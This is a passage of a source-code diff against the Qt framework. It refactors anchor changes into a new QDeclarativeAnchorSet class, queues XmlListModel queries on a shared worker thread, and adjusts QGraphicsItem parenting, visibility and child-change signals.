d->target->anchors()->resetVerticalCenter(); - if (d->resetList.contains(QLatin1String("baseline"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("baseline"))) d->target->anchors()->resetBaseline(); //reset any anchors that we'll be setting in the state - if (d->left.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->left.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetLeft(); - if (d->right.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->right.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetRight(); - if (d->horizontalCenter.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->hCenter.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetHorizontalCenter(); - if (d->top.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->top.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetTop(); - if (d->bottom.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->bottom.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetBottom(); - if (d->verticalCenter.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->vCenter.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetVerticalCenter(); - if (d->baseline.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->baseline.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetBaseline(); } diff --git a/src/declarative/util/qdeclarativestateoperations_p.h b/src/declarative/util/qdeclarativestateoperations_p.h index 66a8717..c97b2da 100644 --- a/src/declarative/util/qdeclarativestateoperations_p.h +++ b/src/declarative/util/qdeclarativestateoperations_p.h @@ -143,54 +143,132 @@ public: virtual void execute(); }; -class QDeclarativeAnchorChangesPrivate; -class Q_DECLARATIVE_EXPORT QDeclarativeAnchorChanges : public QDeclarativeStateOperation, public QDeclarativeActionEvent +class QDeclarativeAnchorChanges; +class QDeclarativeAnchorSetPrivate; +class Q_AUTOTEST_EXPORT QDeclarativeAnchorSet : public QObject { Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarativeAnchorChanges) - Q_PROPERTY(QDeclarativeItem *target READ object WRITE setObject) - Q_PROPERTY(QString reset READ reset WRITE setReset) - Q_PROPERTY(QDeclarativeAnchorLine left READ left WRITE setLeft) - Q_PROPERTY(QDeclarativeAnchorLine right READ right WRITE setRight) - Q_PROPERTY(QDeclarativeAnchorLine horizontalCenter READ horizontalCenter WRITE setHorizontalCenter) - Q_PROPERTY(QDeclarativeAnchorLine top READ top WRITE setTop) - Q_PROPERTY(QDeclarativeAnchorLine bottom READ bottom WRITE setBottom) - Q_PROPERTY(QDeclarativeAnchorLine verticalCenter READ verticalCenter WRITE setVerticalCenter) - Q_PROPERTY(QDeclarativeAnchorLine baseline READ baseline WRITE setBaseline) + Q_PROPERTY(QDeclarativeAnchorLine left READ left WRITE setLeft RESET resetLeft) + Q_PROPERTY(QDeclarativeAnchorLine right READ right WRITE setRight RESET resetRight) + Q_PROPERTY(QDeclarativeAnchorLine horizontalCenter READ horizontalCenter WRITE setHorizontalCenter RESET resetHorizontalCenter) + Q_PROPERTY(QDeclarativeAnchorLine top READ top WRITE setTop RESET resetTop) + Q_PROPERTY(QDeclarativeAnchorLine bottom READ bottom WRITE setBottom RESET resetBottom) + Q_PROPERTY(QDeclarativeAnchorLine verticalCenter READ verticalCenter WRITE setVerticalCenter RESET resetVerticalCenter) + Q_PROPERTY(QDeclarativeAnchorLine baseline READ baseline WRITE setBaseline RESET resetBaseline) + //Q_PROPERTY(QDeclarativeItem *fill READ fill WRITE setFill RESET resetFill) + //Q_PROPERTY(QDeclarativeItem *centerIn READ centerIn WRITE setCenterIn RESET resetCenterIn) + + /*Q_PROPERTY(qreal margins READ margins WRITE setMargins NOTIFY marginsChanged) + Q_PROPERTY(qreal leftMargin READ leftMargin WRITE setLeftMargin NOTIFY leftMarginChanged) + Q_PROPERTY(qreal rightMargin READ rightMargin WRITE setRightMargin NOTIFY rightMarginChanged) + Q_PROPERTY(qreal horizontalCenterOffset READ horizontalCenterOffset WRITE setHorizontalCenterOffset NOTIFY horizontalCenterOffsetChanged()) + Q_PROPERTY(qreal topMargin READ topMargin WRITE setTopMargin NOTIFY topMarginChanged) + Q_PROPERTY(qreal bottomMargin READ bottomMargin WRITE setBottomMargin NOTIFY bottomMarginChanged) + Q_PROPERTY(qreal verticalCenterOffset READ verticalCenterOffset WRITE setVerticalCenterOffset NOTIFY verticalCenterOffsetChanged()) + Q_PROPERTY(qreal baselineOffset READ baselineOffset WRITE setBaselineOffset NOTIFY baselineOffsetChanged())*/ public: - QDeclarativeAnchorChanges(QObject *parent=0); - ~QDeclarativeAnchorChanges(); - - virtual ActionList actions(); - - QDeclarativeItem *object() const; - void setObject(QDeclarativeItem *); - - QString reset() const; - void setReset(const QString &); + QDeclarativeAnchorSet(QObject *parent=0); + virtual ~QDeclarativeAnchorSet(); QDeclarativeAnchorLine left() const; void setLeft(const QDeclarativeAnchorLine &edge); + void resetLeft(); QDeclarativeAnchorLine right() const; void setRight(const QDeclarativeAnchorLine &edge); + void resetRight(); QDeclarativeAnchorLine horizontalCenter() const; void setHorizontalCenter(const QDeclarativeAnchorLine &edge); + void resetHorizontalCenter(); QDeclarativeAnchorLine top() const; void setTop(const QDeclarativeAnchorLine &edge); + void resetTop(); QDeclarativeAnchorLine bottom() const; void setBottom(const QDeclarativeAnchorLine &edge); + void resetBottom(); QDeclarativeAnchorLine verticalCenter() const; void setVerticalCenter(const QDeclarativeAnchorLine &edge); + void resetVerticalCenter(); QDeclarativeAnchorLine baseline() const; void setBaseline(const QDeclarativeAnchorLine &edge); + void resetBaseline(); + + QDeclarativeItem *fill() const; + void setFill(QDeclarativeItem *); + void resetFill(); + + QDeclarativeItem *centerIn() const; + void setCenterIn(QDeclarativeItem *); + void resetCenterIn(); + + /*qreal leftMargin() const; + void setLeftMargin(qreal); + + qreal rightMargin() const; + void setRightMargin(qreal); + + qreal horizontalCenterOffset() const; + void setHorizontalCenterOffset(qreal); + + qreal topMargin() const; + void setTopMargin(qreal); + + qreal bottomMargin() const; + void setBottomMargin(qreal); + + qreal margins() const; + void setMargins(qreal); + + qreal verticalCenterOffset() const; + void setVerticalCenterOffset(qreal); + + qreal baselineOffset() const; + void setBaselineOffset(qreal);*/ + + QDeclarativeAnchors::UsedAnchors usedAnchors() const; + +/*Q_SIGNALS: + void leftMarginChanged(); + void rightMarginChanged(); + void topMarginChanged(); + void bottomMarginChanged(); + void marginsChanged(); + void verticalCenterOffsetChanged(); + void horizontalCenterOffsetChanged(); + void baselineOffsetChanged();*/ + +private: + friend class QDeclarativeAnchorChanges; + Q_DISABLE_COPY(QDeclarativeAnchorSet) + Q_DECLARE_PRIVATE(QDeclarativeAnchorSet) +}; + +class QDeclarativeAnchorChangesPrivate; +class Q_DECLARATIVE_EXPORT QDeclarativeAnchorChanges : public QDeclarativeStateOperation, public QDeclarativeActionEvent +{ + Q_OBJECT + Q_DECLARE_PRIVATE(QDeclarativeAnchorChanges) + + Q_PROPERTY(QDeclarativeItem *target READ object WRITE setObject) + Q_PROPERTY(QDeclarativeAnchorSet *anchors READ anchors CONSTANT) + +public: + QDeclarativeAnchorChanges(QObject *parent=0); + ~QDeclarativeAnchorChanges(); + + virtual ActionList actions(); + + QDeclarativeAnchorSet *anchors(); + + QDeclarativeItem *object() const; + void setObject(QDeclarativeItem *); virtual void execute(); virtual bool isReversable(); @@ -212,6 +290,7 @@ QT_END_NAMESPACE QML_DECLARE_TYPE(QDeclarativeParentChange) QML_DECLARE_TYPE(QDeclarativeStateChangeScript) +QML_DECLARE_TYPE(QDeclarativeAnchorSet) QML_DECLARE_TYPE(QDeclarativeAnchorChanges) QT_END_HEADER diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index 46c9b73..2a02ffe 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -71,6 +71,38 @@ #include "qdeclarativexmllistmodel_p.h" #endif +template<typename T> +int qmlRegisterTypeEnums(const char *qmlName) +{ + QByteArray name(T::staticMetaObject.className()); + + QByteArray pointerName(name + '*'); + QByteArray listName("QDeclarativeListProperty<" + name + ">"); + + QDeclarativePrivate::RegisterType type = { + 0, + + qRegisterMetaType<T *>(pointerName.constData()), + qRegisterMetaType<QDeclarativeListProperty<T> >(listName.constData()), + 0, 0, + + "Qt", 4, 6, qmlName, &T::staticMetaObject, + + QDeclarativePrivate::attachedPropertiesFunc<T>(), + QDeclarativePrivate::attachedPropertiesMetaObject<T>(), + + QDeclarativePrivate::StaticCastSelector<T,QDeclarativeParserStatus>::cast(), + QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueSource>::cast(), + QDeclarativePrivate::StaticCastSelector<T,QDeclarativePropertyValueInterceptor>::cast(), + + 0, 0, + + 0 + }; + + return QDeclarativePrivate::registerType(type); +} + void QDeclarativeUtilModule::defineModule() { qmlRegisterType<QDeclarativeAnchorAnimation>("Qt",4,6,"AnchorAnimation"); @@ -107,8 +139,10 @@ void QDeclarativeUtilModule::defineModule() #endif qmlRegisterType<QDeclarativeAnchors>(); - qmlRegisterType<QDeclarativeAbstractAnimation>(); qmlRegisterType<QDeclarativeStateOperation>(); + qmlRegisterType<QDeclarativeAnchorSet>(); + + qmlRegisterTypeEnums<QDeclarativeAbstractAnimation>("Animation"); qmlRegisterCustomType<QDeclarativeListModel>("Qt", 4,6, "ListModel", "QDeclarativeListModel", new QDeclarativeListModelParser); diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp index c2dbf92..8e65151 100644 --- a/src/declarative/util/qdeclarativeview.cpp +++ b/src/declarative/util/qdeclarativeview.cpp @@ -129,6 +129,7 @@ class QDeclarativeViewPrivate public: QDeclarativeViewPrivate(QDeclarativeView *view) : q(view), root(0), component(0), resizeMode(QDeclarativeView::SizeViewToRootObject) {} + ~QDeclarativeViewPrivate() { delete root; } void execute(); @@ -270,7 +271,7 @@ void QDeclarativeViewPrivate::init() */ QDeclarativeView::~QDeclarativeView() { - delete d->root; + delete d; } /*! \property QDeclarativeView::source @@ -447,8 +448,8 @@ void QDeclarativeView::setRootObject(QObject *obj) d->root = item; d->qmlRoot = item; - connect(item, SIGNAL(widthChanged(qreal)), this, SLOT(sizeChanged())); - connect(item, SIGNAL(heightChanged(qreal)), this, SLOT(sizeChanged())); + connect(item, SIGNAL(widthChanged()), this, SLOT(sizeChanged())); + connect(item, SIGNAL(heightChanged()), this, SLOT(sizeChanged())); if (d->initialSize.height() <= 0 && d->qmlRoot->width() > 0) d->initialSize.setWidth(d->qmlRoot->width()); if (d->initialSize.height() <= 0 && d->qmlRoot->height() > 0) diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index 01ae2ed..f7beeaa 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -46,6 +46,7 @@ #include <QDebug> #include <QStringList> +#include <QQueue> #include <QApplication> #include <QThread> #include <QMutex> @@ -59,9 +60,9 @@ #include <private/qobject_p.h> -QT_BEGIN_NAMESPACE - +Q_DECLARE_METATYPE(QDeclarativeXmlQueryResult) +QT_BEGIN_NAMESPACE typedef QPair<int, int> QDeclarativeXmlListRange; @@ -109,13 +110,25 @@ typedef QPair<int, int> QDeclarativeXmlListRange; \sa XmlListModel */ +struct XmlQueryJob +{ + int queryId; + QByteArray data; + QString query; + QString namespaces; + QStringList roleQueries; + QStringList keyRoleQueries; + QStringList keyRoleResultsCache; +}; + class QDeclarativeXmlQuery : public QThread { Q_OBJECT public: QDeclarativeXmlQuery(QObject *parent=0) - : QThread(parent), m_quit(false), m_restart(false), m_abort(false), m_queryId(0) { + : QThread(parent), m_quit(false), m_abortQueryId(-1), m_queryIds(0) { + qRegisterMetaType<QDeclarativeXmlQueryResult>("QDeclarativeXmlQueryResult"); } ~QDeclarativeXmlQuery() { m_mutex.lock(); @@ -126,27 +139,38 @@ public: wait(); } - void abort() { + void abort(int id) { QMutexLocker locker(&m_mutex); - m_abort = true; + m_abortQueryId = id; } - int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *> *roleObjects) { + int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *> *roleObjects, QStringList keyRoleResultsCache) { QMutexLocker locker(&m_mutex); - m_size = 0; - m_data = data; - m_query = QLatin1String("doc($src)") + query; - m_namespaces = namespaces; - m_roleObjects = roleObjects; - if (!isRunning()) { - m_abort = false; + + XmlQueryJob job; + job.queryId = m_queryIds; + job.data = data; + job.query = QLatin1String("doc($src)") + query; + job.namespaces = namespaces; + job.keyRoleResultsCache = keyRoleResultsCache; + + for (int i=0; i<roleObjects->count(); i++) { + if (!roleObjects->at(i)->isValid()) { + job.roleQueries << ""; + continue; + } + job.roleQueries << roleObjects->at(i)->query(); + if (roleObjects->at(i)->isKey()) + job.keyRoleQueries << job.roleQueries.last(); + } + m_jobs.enqueue(job); + m_queryIds++; + + if (!isRunning()) start(); - } else { - m_restart = true; + else m_condition.wakeOne(); - } - m_queryId++; - return m_queryId; + return job.queryId; } QList<QList<QVariant> > modelData() { @@ -164,26 +188,33 @@ public: return m_removedItemRanges; } + Q_SIGNALS: - void queryCompleted(int queryId, int size); + void queryCompleted(const QDeclarativeXmlQueryResult &); protected: void run() { while (!m_quit) { m_mutex.lock(); - int queryId = m_queryId; doQueryJob(); doSubQueryJob(); - m_data.clear(); // no longer needed m_mutex.unlock(); m_mutex.lock(); - if (!m_abort) - emit queryCompleted(queryId, m_size); - if (!m_restart) + const XmlQueryJob &job = m_jobs.dequeue(); + if (m_abortQueryId != job.queryId) { + QDeclarativeXmlQueryResult r; + r.queryId = job.queryId; + r.size = m_size; + r.data = m_modelData; + r.inserted = m_insertedItemRanges; + r.removed = m_removedItemRanges; + r.keyRoleResultsCache = job.keyRoleResultsCache; + emit queryCompleted(r); + } + if (m_jobs.isEmpty()) m_condition.wait(&m_mutex); - m_abort = false; - m_restart = false; + m_abortQueryId = -1; m_mutex.unlock(); } } @@ -197,30 +228,30 @@ private: private: QMutex m_mutex; QWaitCondition m_condition; + QQueue<XmlQueryJob> m_jobs; bool m_quit; - bool m_restart; - bool m_abort; - QByteArray m_data; - QString m_query; - QString m_namespaces; + int m_abortQueryId; QString m_prefix; int m_size; - int m_queryId; - const QList<QDeclarativeXmlListModelRole *> *m_roleObjects; + int m_queryIds; QList<QList<QVariant> > m_modelData; - QStringList m_keysValues; QList<QDeclarativeXmlListRange> m_insertedItemRanges; QList<QDeclarativeXmlListRange> m_removedItemRanges; }; +Q_GLOBAL_STATIC(QDeclarativeXmlQuery, globalXmlQuery) + void QDeclarativeXmlQuery::doQueryJob() { + Q_ASSERT(!m_jobs.isEmpty()); + XmlQueryJob &job = m_jobs.head(); + QString r; QXmlQuery query; - QBuffer buffer(&m_data); + QBuffer buffer(&job.data); buffer.open(QIODevice::ReadOnly); query.bindVariable(QLatin1String("src"), &buffer); - query.setQuery(m_namespaces + m_query); + query.setQuery(job.namespaces + job.query); query.evaluateTo(&r); //qDebug() << r; @@ -231,9 +262,9 @@ void QDeclarativeXmlQuery::doQueryJob() b.open(QIODevice::ReadOnly); //qDebug() << xml; - QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + m_namespaces; + QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + job.namespaces; QString prefix = QLatin1String("doc($inputDocument)/dummy:items") + - m_query.mid(m_query.lastIndexOf(QLatin1Char('/'))); + job.query.mid(job.query.lastIndexOf(QLatin1Char('/'))); //figure out how many items we are dealing with int count = -1; @@ -249,19 +280,18 @@ void QDeclarativeXmlQuery::doQueryJob() } //qDebug() << count; + job.data = xml; m_prefix = namespaces + prefix + QLatin1Char('/'); - m_data = xml; + m_size = 0; if (count > 0) m_size = count; } void QDeclarativeXmlQuery::getValuesOfKeyRoles(QStringList *values, QXmlQuery *query) const { - QStringList keysQueries; - for (int i=0; i<m_roleObjects->count(); i++) { - if (m_roleObjects->at(i)->isKey()) - keysQueries << m_roleObjects->at(i)->query(); - } + Q_ASSERT(!m_jobs.isEmpty()); + + const QStringList &keysQueries = m_jobs.head().keyRoleQueries; QString keysQuery; if (keysQueries.count() == 1) keysQuery = m_prefix + keysQueries[0]; @@ -291,54 +321,58 @@ void QDeclarativeXmlQuery::addIndexToRangeList(QList<QDeclarativeXmlListRange> * void QDeclarativeXmlQuery::doSubQueryJob() { + Q_ASSERT(!m_jobs.isEmpty()); + XmlQueryJob &job = m_jobs.head(); m_modelData.clear(); - QBuffer b(&m_data); + QBuffer b(&job.data); b.open(QIODevice::ReadOnly); QXmlQuery subquery; subquery.bindVariable(QLatin1String("inputDocument"), &b); - QStringList keysValues; - getValuesOfKeyRoles(&keysValues, &subquery); + QStringList keyRoleResults; + getValuesOfKeyRoles(&keyRoleResults, &subquery); // See if any values of key roles have been inserted or removed. + m_insertedItemRanges.clear(); m_removedItemRanges.clear(); - if (m_keysValues.isEmpty()) { + if (job.keyRoleResultsCache.isEmpty()) { m_insertedItemRanges << qMakePair(0, m_size); } else { - if (keysValues != m_keysValues) { + if (keyRoleResults != job.keyRoleResultsCache) { QStringList temp; - for (int i=0; i<m_keysValues.count(); i++) { - if (!keysValues.contains(m_keysValues[i])) + for (int i=0; i<job.keyRoleResultsCache.count(); i++) { + if (!keyRoleResults.contains(job.keyRoleResultsCache[i])) addIndexToRangeList(&m_removedItemRanges, i); else - temp << m_keysValues[i]; + temp << job.keyRoleResultsCache[i]; } - for (int i=0; i<keysValues.count(); i++) { - if (temp.count() == i || keysValues[i] != temp[i]) { - temp.insert(i, keysValues[i]); + for (int i=0; i<keyRoleResults.count(); i++) { + if (temp.count() == i || keyRoleResults[i] != temp[i]) { + temp.insert(i, keyRoleResults[i]); addIndexToRangeList(&m_insertedItemRanges, i); } } } } - m_keysValues = keysValues; + job.keyRoleResultsCache = keyRoleResults; + // Get the new values for each role. //### we might be able to condense even further (query for everything in one go) - for (int i = 0; i < m_roleObjects->size(); ++i) { - QDeclarativeXmlListModelRole *role = m_roleObjects->at(i); - if (!role->isValid()) { + const QStringList &queries = job.roleQueries; + for (int i = 0; i < queries.size(); ++i) { + if (queries[i].isEmpty()) { QList<QVariant> resultList; for (int j = 0; j < m_size; ++j) resultList << QVariant(); m_modelData << resultList; continue; } - subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + role->query() + QLatin1String(" return if ($v) then ") + role->query() + QLatin1String(" else \"\")")); + subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + queries[i] + QLatin1String(" return if ($v) then ") + queries[i] + QLatin1String(" else \"\")")); QXmlResultItems resultItems; subquery.evaluateTo(&resultItems); QXmlItem item(resultItems.next()); @@ -404,8 +438,8 @@ public: QNetworkReply *reply; QDeclarativeXmlListModel::Status status; qreal progress; - QDeclarativeXmlQuery qmlXmlQuery; int queryId; + QStringList keyRoleResultsCache; QList<QDeclarativeXmlListModelRole *> roleObjects; static void append_role(QDeclarativeListProperty<QDeclarativeXmlListModelRole> *list, QDeclarativeXmlListModelRole *role); static void clear_role(QDeclarativeListProperty<QDeclarativeXmlListModelRole> *list); @@ -489,9 +523,8 @@ void QDeclarativeXmlListModelPrivate::clear_role(QDeclarativeListProperty<QDecla QDeclarativeXmlListModel::QDeclarativeXmlListModel(QObject *parent) : QListModelInterface(*(new QDeclarativeXmlListModelPrivate), parent) { - Q_D(QDeclarativeXmlListModel); - connect(&d->qmlXmlQuery, SIGNAL(queryCompleted(int,int)), - this, SLOT(queryCompleted(int,int))); + connect(globalXmlQuery(), SIGNAL(queryCompleted(QDeclarativeXmlQueryResult)), + this, SLOT(queryCompleted(QDeclarativeXmlQueryResult))); } QDeclarativeXmlListModel::~QDeclarativeXmlListModel() @@ -723,7 +756,7 @@ void QDeclarativeXmlListModel::reload() if (!d->isComponentComplete) return; - d->qmlXmlQuery.abort(); + globalXmlQuery()->abort(d->queryId); d->queryId = -1; int count = d->size; @@ -755,7 +788,7 @@ void QDeclarativeXmlListModel::reload() } if (!d->xml.isEmpty()) { - d->queryId = d->qmlXmlQuery.doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects); + d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects, d->keyRoleResultsCache); d->progress = 1.0; d->status = Ready; emit progressChanged(d->progress); @@ -802,7 +835,7 @@ void QDeclarativeXmlListModel::requestFinished() } else { d->status = Ready; QByteArray data = d->reply->readAll(); - d->queryId = d->qmlXmlQuery.doQuery(d->query, d->namespaces, data, &d->roleObjects); + d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, data, &d->roleObjects, d->keyRoleResultsCache); disconnect(d->reply, 0, this, 0); d->reply->deleteLater(); d->reply = 0; @@ -821,22 +854,20 @@ void QDeclarativeXmlListModel::requestProgress(qint64 received, qint64 total) } } -void QDeclarativeXmlListModel::queryCompleted(int id, int size) +void QDeclarativeXmlListModel::queryCompleted(const QDeclarativeXmlQueryResult &result) { Q_D(QDeclarativeXmlListModel); - if (id != d->queryId) + if (result.queryId != d->queryId) return; - bool sizeChanged = size != d->size; - d->size = size; - d->data = d->qmlXmlQuery.modelData(); - - QList<QDeclarativeXmlListRange> removed = d->qmlXmlQuery.removedItemRanges(); - QList<QDeclarativeXmlListRange> inserted = d->qmlXmlQuery.insertedItemRanges(); - - for (int i=0; i<removed.count(); i++) - emit itemsRemoved(removed[i].first, removed[i].second); - for (int i=0; i<inserted.count(); i++) - emit itemsInserted(inserted[i].first, inserted[i].second); + bool sizeChanged = result.size != d->size; + d->size = result.size; + d->data = result.data; + d->keyRoleResultsCache = result.keyRoleResultsCache; + + for (int i=0; i<result.removed.count(); i++) + emit itemsRemoved(result.removed[i].first, result.removed[i].second); + for (int i=0; i<result.inserted.count(); i++) + emit itemsInserted(result.inserted[i].first, result.inserted[i].second); if (sizeChanged) emit countChanged(); diff --git a/src/declarative/util/qdeclarativexmllistmodel_p.h b/src/declarative/util/qdeclarativexmllistmodel_p.h index 23ff7ce..7bb0f0e 100644 --- a/src/declarative/util/qdeclarativexmllistmodel_p.h +++ b/src/declarative/util/qdeclarativexmllistmodel_p.h @@ -46,6 +46,7 @@ #include <qdeclarativeinfo.h> #include <QtCore/qurl.h> +#include <QtCore/qstringlist.h> #include <private/qlistmodelinterface_p.h> @@ -56,10 +57,18 @@ QT_BEGIN_NAMESPACE QT_MODULE(Declarative) class QDeclarativeContext; - class QDeclarativeXmlListModelRole; - class QDeclarativeXmlListModelPrivate; + +struct QDeclarativeXmlQueryResult { + int queryId; + int size; + QList<QList<QVariant> > data; + QList<QPair<int, int> > inserted; + QList<QPair<int, int> > removed; + QStringList keyRoleResultsCache; +}; + class Q_DECLARATIVE_EXPORT QDeclarativeXmlListModel : public QListModelInterface, public QDeclarativeParserStatus { Q_OBJECT @@ -126,7 +135,7 @@ public Q_SLOTS: private Q_SLOTS: void requestFinished(); void requestProgress(qint64,qint64); - void queryCompleted(int,int); + void queryCompleted(const QDeclarativeXmlQueryResult &); private: Q_DECLARE_PRIVATE(QDeclarativeXmlListModel) diff --git a/src/gui/dialogs/qdialog.cpp b/src/gui/dialogs/qdialog.cpp index 4faa193..3f8cc72 100644 --- a/src/gui/dialogs/qdialog.cpp +++ b/src/gui/dialogs/qdialog.cpp @@ -69,7 +69,6 @@ extern bool qt_wince_is_smartphone(); //is defined in qguifunctions_wce.cpp # include "qfontdialog.h" # include "qcolordialog.h" # include "qwizard.h" -# include "qmenubar.h" #endif #if defined(Q_WS_S60) @@ -529,12 +528,6 @@ int QDialog::exec() #endif //Q_WS_WINCE_WM #ifdef Q_OS_SYMBIAN -#ifndef QT_NO_MENUBAR - QMenuBar *menuBar = 0; - if (!findChild<QMenuBar *>()) - menuBar = new QMenuBar(this); -#endif - if (qobject_cast<QFileDialog *>(this) || qobject_cast<QFontDialog *>(this) || qobject_cast<QColorDialog *>(this) || qobject_cast<QWizard *>(this)) showMaximized(); @@ -566,13 +559,6 @@ int QDialog::exec() delete menuBar; #endif //QT_NO_MENUBAR #endif //Q_WS_WINCE_WM -#ifdef Q_OS_SYMBIAN -#ifndef QT_NO_MENUBAR - else if (menuBar) - delete menuBar; -#endif //QT_NO_MENUBAR -#endif //Q_OS_SYMBIAN - return res; } diff --git a/src/gui/dialogs/qwizard_win_p.h b/src/gui/dialogs/qwizard_win_p.h index fe01587..5f3b6c2 100644 --- a/src/gui/dialogs/qwizard_win_p.h +++ b/src/gui/dialogs/qwizard_win_p.h @@ -82,7 +82,6 @@ class QWizard; class QVistaHelper : public QObject { - Q_OBJECT public: QVistaHelper(QWizard *wizard); ~QVistaHelper(); diff --git a/src/gui/graphicsview/qgraphicsitem.cpp b/src/gui/graphicsview/qgraphicsitem.cpp index 3c255ef..b407eef 100644 --- a/src/gui/graphicsview/qgraphicsitem.cpp +++ b/src/gui/graphicsview/qgraphicsitem.cpp @@ -1131,6 +1131,9 @@ void QGraphicsItemPrivate::setParentItemHelper(QGraphicsItem *newParent, const Q } } + // Resolve depth. + invalidateDepthRecursively(); + if ((parent = newParent)) { if (parent->d_func()->scene && parent->d_func()->scene != scene) { // Move this item to its new parent's scene @@ -1181,8 +1184,6 @@ void QGraphicsItemPrivate::setParentItemHelper(QGraphicsItem *newParent, const Q } } - // Resolve depth. - invalidateDepthRecursively(); dirtySceneTransform = 1; // Restore the sub focus chain. @@ -2177,8 +2178,12 @@ void QGraphicsItemPrivate::setVisibleHelper(bool newVisible, bool explicitly, bo QGraphicsItemCache *c = (QGraphicsItemCache *)qVariantValue<void *>(extra(ExtraCacheData)); if (c) c->purge(); - if (scene) + if (scene) { +#ifndef QT_NO_GRAPHICSEFFECT + invalidateParentGraphicsEffectsRecursively(); +#endif //QT_NO_GRAPHICSEFFECT scene->d_func()->markDirty(q_ptr, QRectF(), /*invalidateChildren=*/false, /*force=*/true); + } } // Certain properties are dropped as an item becomes invisible. @@ -3482,7 +3487,7 @@ void QGraphicsItem::setX(qreal x) if (qIsNaN(x)) return; - d_ptr->setPosHelper(QPointF(x, d_ptr->pos.y())); + setPos(QPointF(x, d_ptr->pos.y())); } /*! @@ -3509,7 +3514,7 @@ void QGraphicsItem::setY(qreal y) if (qIsNaN(y)) return; - d_ptr->setPosHelper(QPointF(d_ptr->pos.x(), y)); + setPos(QPointF(d_ptr->pos.x(), y)); } /*! @@ -3577,7 +3582,7 @@ void QGraphicsItem::setPos(const QPointF &pos) return; // Update and repositition. - if (!(d_ptr->flags & ItemSendsGeometryChanges)) { + if (!(d_ptr->flags & ItemSendsGeometryChanges) && !(d_ptr->flags & ItemSendsScenePositionChanges)) { d_ptr->setPosHelper(pos); return; } @@ -5226,6 +5231,8 @@ void QGraphicsItemPrivate::addChild(QGraphicsItem *child) needSortChildren = 1; // ### maybe 0 child->d_ptr->siblingIndex = children.size(); children.append(child); + if (isObject) + emit static_cast<QGraphicsObject *>(q_ptr)->childrenChanged(); } /*! @@ -5248,6 +5255,8 @@ void QGraphicsItemPrivate::removeChild(QGraphicsItem *child) // the child is not guaranteed to be at the index after the list is sorted. // (see ensureSortedChildren()). child->d_ptr->siblingIndex = -1; + if (isObject) + emit static_cast<QGraphicsObject *>(q_ptr)->childrenChanged(); } /*! @@ -7455,6 +7464,88 @@ void QGraphicsObject::ungrabGesture(Qt::GestureType gesture) } } +void QGraphicsItemPrivate::append(QDeclarativeListProperty<QGraphicsObject> *list, QGraphicsObject *item) +{ + QGraphicsItemPrivate::get(item)->setParentItemHelper(static_cast<QGraphicsObject *>(list->object), /*newParentVariant=*/0, /*thisPointerVariant=*/0); +} + +/*! + Returns a list of this item's children. + + The items are sorted by stacking order. This takes into account both the + items' insertion order and their Z-values. + +*/ +QDeclarativeListProperty<QGraphicsObject> QGraphicsItemPrivate::childrenList() +{ + Q_Q(QGraphicsItem); + if (isObject) { + QGraphicsObject *that = static_cast<QGraphicsObject *>(q); + return QDeclarativeListProperty<QGraphicsObject>(that, &children, QGraphicsItemPrivate::append); + } else { + //QGraphicsItem is not supported for this property + return QDeclarativeListProperty<QGraphicsObject>(); + } +} + +/*! + \internal + Returns the width of the item + Reimplemented by QGraphicsWidget +*/ +qreal QGraphicsItemPrivate::width() const +{ + return 0; +} + +/*! + \internal + Set the width of the item + Reimplemented by QGraphicsWidget +*/ +void QGraphicsItemPrivate::setWidth(qreal w) +{ + Q_UNUSED(w); +} + +/*! + \internal + Reset the width of the item + Reimplemented by QGraphicsWidget +*/ +void QGraphicsItemPrivate::resetWidth() +{ +} + +/*! + \internal + Returns the height of the item + Reimplemented by QGraphicsWidget +*/ +qreal QGraphicsItemPrivate::height() const +{ + return 0; +} + +/*! + \internal + Set the height of the item + Reimplemented by QGraphicsWidget +*/ +void QGraphicsItemPrivate::setHeight(qreal h) +{ + Q_UNUSED(h); +} + +/*! + \internal + Reset the height of the item + Reimplemented by QGraphicsWidget +*/ +void QGraphicsItemPrivate::resetHeight() +{ +} + /*! \property QGraphicsObject::parent \brief the parent of the item @@ -7641,6 +7732,23 @@ void QGraphicsObject::ungrabGesture(Qt::GestureType gesture) \sa scale, rotation, QGraphicsItem::transformOriginPoint() */ +/*! + \fn void QGraphicsObject::widthChanged() + \internal +*/ + +/*! + \fn void QGraphicsObject::heightChanged() + \internal +*/ + +/*! + + 